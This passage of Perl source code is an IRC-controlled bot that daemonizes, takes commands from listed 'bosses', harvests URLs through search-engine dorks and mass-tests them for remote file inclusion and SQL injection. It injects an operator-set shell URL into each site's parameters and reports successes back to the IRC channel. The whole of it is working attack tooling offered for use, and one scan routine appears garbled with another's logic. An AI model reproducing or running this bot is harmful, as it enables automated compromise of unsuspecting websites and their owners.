Next<\/span><\/a> <\/span><\/div>/){
print "[AOL-SCAN] Another page: " . ($start + 1) . "\n";
&rfi_aol($dork,($start + 1),$_[2]);
}
return $uc;
}
sub rfi_ask($$){
my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]);
print "[ASK-SCAN] http://www.ask.com/web?q=$dork&adlt=1&page=$start\n";
$content = &getreq("http://www.ask.com/web?q=$dork&adlt=1&page=$start");
while($content =~ m/href=\"http:\/\/(.*?)\"/ig){
$url = "http://$1";
if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){
($dom,$page) = ("http://$1$2","/$3");
$dad = $dom.$page;
push(@rfi_sites,$dom);
push(@rfi_urls,$dad);
#print "[ASK-SCAN] $dad\n";
$uc++;
}
}
if($content =~ m/style=\"text-decoration\:none\" >Next\&/){
print "[ASK-SCAN] Another page: " . ($start + 1) . "\n";
&rfi_ask($dork,($start + 1),$_[2]);
}
return $uc;
}
sub rfi_msn($$){
my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]);
print "[MSN-SCAN] http://search.msn.com/results.aspx?q=$dork&first=$start\n";
$content = &getreq("http://search.msn.com/results.aspx?q=$dork&first=$start");
while($content =~ m/href=\"http:\/\/(.*?)\"/ig){
$url = "http://$1";
if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){
($dom,$page) = ("http://$1$2","/$3");
$dad = $dom.$page;
push(@rfi_sites,$dom);
push(@rfi_urls,$dad);
#print "[MSN-SCAN] $dad\n";
$uc++;
}
}
if($content =~ m/PORE\">Next<\/a><\/div>/ig){
$url = "http://$1";
if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){
($dom,$page) = ("http://$1$2","/$3");
$dad = $dom.$page;
push(@rfi_sites,$dom);
push(@rfi_urls,$dad);
#print "[ALT-SCAN] $dad\n";
$uc++;
}
}
if($content =~ m/target=\"_self\">Next >><\/a><\/b><\/td>/){
print "[ALT-SCAN] Another page: " . ($start + 50) . "\n";
&rfi_alt($dork,($start + 50),$_[2]);
}
return $uc;
}
sub rfi_baidu($$){
my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]);
print "[BAIDU-SCAN] http://www.baidu.com/s?wd=$dork&rn=100&pn=$start\n";
$content = &getreq("http://www.baidu.com/s?wd=$dork&rn=100&pn=$start");
while($content =~ m/href=\"http:\/\/(.*?)\"/ig){
$url = "http://$1";
if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){
($dom,$page) = ("http://$1$2","/$3");
$dad = $dom.$page;
push(@rfi_sites,$dom);
push(@rfi_urls,$dad);
#print "[BAIDU-SCAN] $dad\n";
$uc++;
}
}
if($content =~ m/.*<\/font><\/a><\/div>
/){
print "[BAIDU-SCAN] Another page: " . ($start + 100) . "\n";
&rfi_baidu($dork,($start + 100),$_[2]);
}
return $uc;
}
sub rfi_atw($$){
my($dork,$start,$content,$dom,$page,$dad,$url) = (urlencode($_[0]),$_[1]);
print "[ATW-SCAN] http://www.alltheweb.com/search?advanced=1&type=all&_sb_lang=any&hits=100&q=$dork&o=$start\n";
$content = &getreq("http://www.alltheweb.com/search?advanced=1&type=all&_sb_lang=any&hits=100&q=$dork&o=$start");
while($content =~ m/http:\/\/(.*?) <\/span>/ig){
$url = "http://$1";
if(($url =~ m/http:\/\/(www\.|)([\w\-\_\.]*)\/(.*?)$/) && (&array_num("http://$1$2",@rfi_sites)<=$maxsite) && (!in_array($url,@rfi_urls))){
($dom,$page) = ("http://$1$2","/$3");
$dad = $dom.$page;
push(@rfi_sites,$dom);
push(@rfi_urls,$dad);
#print "[ATW-SCAN] $dad\n";
$uc++;
}
}
if($content =~ m/class=\"rnavLink\">Next<\/a>/){
print "[ATW-SCAN] Another page: " . ($start + 100) . "\n";
&rfi_atw($dork,($start + 100),$_[2]);
}
return $uc;
}
sub url_validate(@){
my($choice,$pagen) = ($_[0],$_[1]);
my(@urls,@wins,@fails,@paramlist,@params,@checks,$url,$tmp1,$tmp2,$chk,$m_add,$m_text,$badu,$count,$count2,@rfis);
$badu = "(\w*\.baidu\.)|(\w*\.microsoft\.)|(\w*\.live\.)|(\w*\.w3\.org)|(\w*\.msnscache\.)|(\w*\.google\.)|(\w*\.yahoo\.)|(\w*\.aol\.)|(\w*\.altavista\.)|(\w*\.ask\.)|(209\.85\.173\.104)";
for(2..$#_){
if($_[$_] !~ m/$badu/i){
push(@urls,$_[$_]);
}
}
@urls = &remove_dups(@urls);
foreach(@urls){
push(@rfis,$_) if $_ =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([\w\-\_\.\/\;]*)\?([\w\-\_\.]*)=(.*?)$/;
}
if(@urls){
if($choice eq "d"){
foreach $url(@urls){
$m_add = $rfi_shell;
$m_text = $rfi_text;
if($url =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([a-z0-9\.\-\_\/]*)\/([\w\-\_\.\/\;]*)/){
push(@checks,"http://$1$2/$3/$pagen");
}
elsif($url =~ m/^http:\/\/(www\.|)([\w\-\_\.]*)\/([\w\-\_\.\/\;]*)/){
push(@checks,"http://$1$2/$pagen");
}
}
}
elsif($choice eq "r") {
foreach $url(@rfis){
$m_add = $rfi_shell;
$m_text = $rfi_text;
@paramlist = split(/\?/,$url);
@params = split(/=/,$paramlist[1]);
$tmp1 = "";
for(0..$#params-1){
$tmp1 .= $params[$_] . "=";
$tmp2 = $paramlist[0] . "?" . $tmp1;
push(@checks,$tmp2);
}
}
}
elsif($choice eq "s"){
foreach $url(@rfis){
$m_add = $sql_error;
$m_text = $sql_text;
@paramlist = split(/\?/,$url);
@params = split(/=/,$paramlist[1]);
$tmp1 = "";
for(0..$#params-1){
$tmp1 .= $params[$_] . "=";
$tmp2 = $paramlist[0] . "?" . $tmp1;
push(@checks,$tmp2);
}
}
}
}
else{
print "[VAL-] No sites to clean\n";
return 0;
}
@checks = &remove_dups(@checks);
send_msg($channel,"[VAL] " . ($#checks+1) . " URLS to check");
print "[URL VALIDATION] " . ($#checks+1) . " URLS TO CHECK\n";
foreach $chk(@checks){
$count++;
$count2++;
$chk .= $m_add;
if(&getreq($chk) =~ m/$m_text/i){
send_msg($channel,"[VAL] [WIN] $chk");
print "[VAL+] Win: $chk\n";
push(@wins,$chk);
}
else{
print "[VAL-] Fail: $chk\n";
}
if($count==60){
send_msg($channel,"[VAL] $count2 of " . $#checks . " urls completed");
$count=0;
}
elsif($checks[$#checks] eq $checks[$count]){
send_msg($channel,"[VAL] All " . $#checks . " urls completed");
$count=0;
$count2=0;
}
}
return 0;
}
$mid = fork();
if($mid){
exit;
}
if(undef($mid)){
exit;
}
$sock = new IO::Socket::INET(PeerAddr=>"$server:6667",Proto=>"tcp");
die("Couldn't connect: $!\n") unless $sock;
my $nick = &randnick($nickp);
&send_raw("NICK " . $nick);
&send_raw("USER " . &randnick("s") . " " . &randnick("z") . " * :HELLOSIR");
if($chankey){&send_raw("JOIN $channel $chankey");}else{&send_raw("JOIN $channel");}
while(<$sock>){
@irc_parsed = split(/>br /,&tchomp($_));
@irc_parsed1 = split(/ /,$irc_parsed[0]);
#print $irc_parsed[0] . "\n";
if($irc_parsed1[0] eq "PING"){
send_raw("PONG " . $irc_parsed1[1]);
}
elsif($irc_parsed1[1] eq "001"){
send_raw("JOIN " . $channel);
}
elsif(($irc_parsed1[1] eq "433") || ($irc_parsed1[1] eq "436")){
&send_raw("NICK " . randnick($nickp));
send_raw("JOIN " . $channel);
}
elsif($irc_parsed1[1] eq "475"){
send_msg($owner,"key $chankey for $channel is WRONG");
die("Channel key is WRONG\n");
}
elsif($irc_parsed1[1] eq "KICK"){
if($chankey){
&send_raw("JOIN $channel");
}
else{
&send_raw("JOIN $channel $chankey");
}
}
if(($irc_parsed1[0] =~ m/:(.+)!(.+)\@(.+)/) || ($irc_parsed1[0] =~ m/:(.+)!~(.+)\@(.+)/)){
if(($irc_parsed1[4] eq "$nick") && (in_array("$1!$2\@$3",@bosses)) || ($irc_parsed1[4] eq "$nick") && (in_array("$1!~$2\@$3",@bosses))){
$irc_parsed1[0] = "$1";
if($irc_parsed1[3] eq ":!quit"){
send_raw("QUIT");
exit;
}
elsif($irc_parsed1[3] eq ":!ip"){
if(my $xid = fork){
waitpid($xid,0);
}
else{
if(fork){
exit;
}
else{
if(&getreq("http://www.whatismyip.com/automation/n09230945.asp") =~ m/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})/){
send_msg($channel,"[BOT] $1.$2.$3.$4 {GOT IP}");
}
else{
send_msg($channel,"[BOT] Getting IP {FAILED");
}
exit;
}
}
}
elsif(($irc_parsed1[3] eq ":!kill") && ($irc_parsed1[5] =~ m/(\d*)/)){
my $pid = $irc_parsed1[5];
my $ppid = "$$";
if($pid eq $ppid){
send_msg($irc_parsed1[0],"[PROC] Could not kill $pid, it is scan process");
}
else{
my $Prc = system("kill -9 $pid");
if(!$Prc){
send_msg($channel,"[PROC] PID $pid {KILLED}");
}
elsif($Prc eq "256"){
send_msg($channel,"[PROC] PID $pid {NO EXIST}");
}
else{
send_msg($channel,"[PROC] PID $pid {OTHER ERROR}");
}
}
}
elsif(($irc_parsed1[3] eq ":!rfishell") && ($irc_parsed1[5] =~ m/http:\/\/(.+)/)){
if(!$1 =~ m/\?$/){
$rfi_shell = "http://".$1."?";
}
else{
$rfi_shell = "http://$1";
}
send_msg($channel,"[RFI] shell set: $rfi_shell");
}
elsif(($irc_parsed1[3] eq ":!rfishell") && (!$irc_parsed1[5])){
if($rfi_shell){
send_msg($channel,"[RFI] Shell: $rfi_shell");
}
elsif(!$rfi_shell){
send_msg($channel,"[RFI] No shell: set one with !rfishell $nick ");
}
}
elsif(($irc_parsed1[3] eq ":!rfitext") && (!$irc_parsed1[5])){
if($rfi_text){
send_msg($channel,"[RFI] Text: $rfi_text");
}
elsif(!$rfi_text){
send_msg($channel,"[RFI] No text: set one with !rfitext $nick ");
}
}
elsif(($irc_parsed1[3] eq ":!rfitext") && ($irc_parsed1[5])){
$rfi_text = "";
for(5..$#irc_parsed1){
$rfi_text .= $irc_parsed1[$_] . " ";
}
$rfi_text = substr($rfi_text,0,length($rfi_text)-1);
send_msg($channel,"[RFI] text set: $rfi_text");
}
elsif(($irc_parsed1[3] eq ":!sqlerror") && ($irc_parsed1[5])){
$sql_error = "";
for(5..$#irc_parsed1){
$sql_error .= $irc_parsed1[$_] . " ";
}
$sql_error = substr($sql_error,0,length($sql_error)-1);
send_msg($channel,"[SQL] error set: $sql_error");
}
elsif(($irc_parsed1[3] eq ":!sqlerror") && (!$irc_parsed1[5])){
if($sql_error){
send_msg($channel,"[SQL] Error: $sql_error");
}
elsif(!$sql_error){
send_msg($channel,"[SQL] No error: set one with !sqlerror $nick ");
}
}
elsif(($irc_parsed1[3] eq ":!sqltext") && ($irc_parsed1[5])){
$sql_text = "";
for(5..$#irc_parsed1){
$sql_text .= $irc_parsed1[$_] . " ";
}
$sql_text = substr($sql_text,0,length($sql_text)-1);
send_msg($channel,"[SQL] text set: $sql_text");
}
elsif(($irc_parsed1[3] eq ":!sqltext") && (!$irc_parsed1[5])){
if($rfi_text){
send_msg($channel,"[SQL] Text: $sql_text");
}
elsif(!$rfi_text){
send_msg($channel,"[SQL] No text: set one with !sqltext $nick ");
}
}
elsif($irc_parsed1[3] eq ":!addboss"){
if(($irc_parsed1[5] =~ m/(.+)!(.+)\@(.+)/) || ($irc_parsed1[5] =~ m/(.+)!~(.+)\@(.+)/)){
if(!in_array($irc_parsed1[5],@bosses)){
push(@bosses,$irc_parsed1[5]);
send_msg($channel,"[BOT] $irc_parsed1[5] {Owner added}");
}
else{
send_msg($channel,"[BOT] $irc_parsed1[5] {Already owner}");
}
}
else{
send_msg($channel,"[BOT] $irc_parsed1[5] {Wrong format: nick!user\@host}");
}
}
elsif(($irc_parsed1[3] eq ":!delboss") && ($irc_parsed1[5]) && ($irc_parsed1[5] ne $bosses[0])){
my $x = in_array($irc_parsed1[5],@bosses);
if($x>0){
splice(@bosses,($x-1),1);
#@bosses = sort(@bosses);
send_msg($channel,"[BOT] $irc_parsed1[5] {Owner removed}");
}
else{
send_msg($channel,"[BOT] $irc_parsed1[5] {Not an owner}");
}
}
elsif($irc_parsed1[3] eq ":!test"){
send_msg($channel,"[TEST] Hello, I AM WORKING!");
}
elsif($irc_parsed1[3] eq ":!bosses"){
if(my $xid = fork){
waitpid($xid,0);
}
else{
if(fork){
exit;
}
else{
foreach(@bosses){
send_msg($irc_parsed1[0],"Boss: $_");
sleep 2;
}
exit;
}
}
}
elsif($irc_parsed1[3] eq ":!procs"){
if(my $xid = fork){
waitpid($xid,0);
}
else{
if(fork){
exit;
}
else{
my @procs = split(/\n/,`ps aux | grep $0`);
if($#procs){
foreach(@procs){
send_msg($irc_parsed1[0],"[PROC] PS: $_");
sleep(2);
}
}
else{
send_msg($irc_parsed1[0],"[PROC] PS FAILED");
}
exit;
}
}
}
elsif(($irc_parsed1[3] eq ":!rfi") && ($irc_parsed1[5])){
my($dork);
for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
$dork = substr($dork,0,length($dork)-1);
my $sc1 = fork;
if($sc1){
waitpid($sc1,0);
}
elsif($sc1 == 0){
my $sc2 = fork;
if($sc2){
send_msg($irc_parsed1[0],"[RFI] Dork: \"$dork\" - Stop with !kill $nick $sc2");
exit;
}
elsif($sc2==0){
send_msg($channel,"[RFI] Dork: \"$dork\" Starting");
send_msg($channel,"[RFI] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_atw($dork,"0"));
$uc=0;
send_msg($channel,"[RFI] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0"));
$uc=0;
send_msg($channel,"[RFI] [AOL] Dork: \"$dork\" - Results: " . &rfi_aol($dork,"1"));
$uc=0;
send_msg($channel,"[RFI] [ASK] Dork: \"$dork\" - Results: " . &rfi_ask($dork,"1"));
$uc=0;
send_msg($channel,"[RFI] [MSN] Dork: \"$dork\" - Results: " . &rfi_msn($dork,"1"));
$uc=0;
send_msg($channel,"[RFI] [ALT] Dork: \"$dork\" - Results: " . &rfi_alt($dork,"0"));
$uc=0;
send_msg($channel,"[RFI] [BAIDU] Dork: \"$dork\" - Results: " . &rfi_baidu($dork,"0"));
$uc=0;
if($#rfi_urls){
#send_msg($channel,"[RFI] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
&url_validate("r","",@rfi_urls);
send_msg($channel,"[RFI] Dork: \"$dork\" - Finished");
}
else{
send_msg($channel,"[RFI] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}");
}
(@rfi_urls,@rfi_sites) = ();
exit;
}
exit;
}
}
elsif(($irc_parsed1[3] eq ":!sql") && ($irc_parsed1[5])){
my($dork);
for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
$dork = substr($dork,0,length($dork)-1);
my $sc1 = fork;
if($sc1){
waitpid($sc1,0);
}
elsif($sc1 == 0){
my $sc2 = fork;
if($sc2){
send_msg($irc_parsed1[0],"[SQL] Dork: \"$dork\" - Stop with !kill $nick $sc2");
exit;
}
elsif($sc2==0){
send_msg($channel,"[SQL] Dork: \"$dork\" Starting");
send_msg($channel,"[SQL] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_atw($dork,"0"));
$uc=0;
send_msg($channel,"[SQL] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0"));
$uc=0;
send_msg($channel,"[SQL] [AOL] Dork: \"$dork\" - Results: " . &rfi_aol($dork,"1"));
$uc=0;
send_msg($channel,"[SQL] [ASK] Dork: \"$dork\" - Results: " . &rfi_ask($dork,"1"));
$uc=0;
send_msg($channel,"[SQL] [MSN] Dork: \"$dork\" - Results: " . &rfi_msn($dork,"1"));
$uc=0;
send_msg($channel,"[SQL] [ALT] Dork: \"$dork\" - Results: " . &rfi_alt($dork,"0"));
$uc=0;
send_msg($channel,"[SQL] [BAIDU] Dork: \"$dork\" - Results: " . &rfi_baidu($dork,"0"));
$uc=0;
if($#rfi_urls){
#send_msg($channel,"[SQL] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
&url_validate("s","",@rfi_urls);
send_msg($channel,"[SQL] Dork: \"$dork\" - Finished");
}
else{
send_msg($channel,"[SQL] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}");
}
(@rfi_urls,@rfi_sites) = ();
exit;
}
exit;
}
}
elsif(($irc_parsed1[3] eq ":!dork") && ($irc_parsed1[6])){
my($dork,$vPage);
$vPage = $irc_parsed1[5];
for(6..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
$dork = substr($dork,0,length($dork)-1);
my $sc1 = fork;
if($sc1){
waitpid($sc1,0);
}
elsif($sc1 == 0){
my $sc2 = fork;
if($sc2){
send_msg($irc_parsed1[0],"[DORK] Dork: \"$dork\" - Stop with !kill $nick $sc2");
exit;
}
elsif($sc2==0){
send_msg($channel,"[DORK] Dork: \"$dork\" Starting");
send_msg($channel,"[DORK] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_atw($dork,"0"));
$uc=0;
send_msg($channel,"[DORK] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0"));
$uc=0;
send_msg($channel,"[DORK] [AOL] Dork: \"$dork\" - Results: " . &rfi_aol($dork,"1"));
$uc=0;
send_msg($channel,"[DORK] [ASK] Dork: \"$dork\" - Results: " . &rfi_ask($dork,"1"));
$uc=0;
send_msg($channel,"[DORK] [MSN] Dork: \"$dork\" - Results: " . &rfi_msn($dork,"1"));
$uc=0;
send_msg($channel,"[DORK] [ALT] Dork: \"$dork\" - Results: " . &rfi_alt($dork,"0"));
$uc=0;
send_msg($channel,"[DORK] [BAIDU] Dork: \"$dork\" - Results: " . &rfi_baidu($dork,"0"));
$uc=0;
if($#rfi_urls){
#send_msg($channel,"[DORK] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
&url_validate("d",$vPage,@rfi_urls);
send_msg($channel,"[DORK] Dork: \"$dork\" - Finished");
}
else{
send_msg($channel,"[DORK] Dork: \"$dork\" Finished {NO URLS FOUND}");
}
(@rfi_urls,@rfi_sites) = ();
exit;
}
exit;
}
}
elsif(($irc_parsed1[3] eq ":!google") && ($irc_parsed1[5])){
my($dork);
for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
$dork = substr($dork,0,length($dork)-1);
my $sc1 = fork;
if($sc1){
waitpid($sc1,0);
}
elsif($sc1 == 0){
my $sc2 = fork;
if($sc2){
send_msg($irc_parsed1[0],"[GOO] Dork: \"$dork\" - Stop with !kill $nick $sc2");
exit;
}
elsif($sc2==0){
send_msg($channel,"[GOO] Dork: \"$dork\" Starting");
send_msg($channel,"[GOO] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_google($dork,"0"));
$uc=0;
if($#rfi_urls){
#send_msg($channel,"[GOO] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
&url_validate("r","",@rfi_urls);
send_msg($channel,"[GOO] Dork: \"$dork\" - Finished");
}
else{
send_msg($channel,"[GOO] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}");
}
(@rfi_urls,@rfi_sites) = ();
exit;
}
exit;
}
}
}
}
}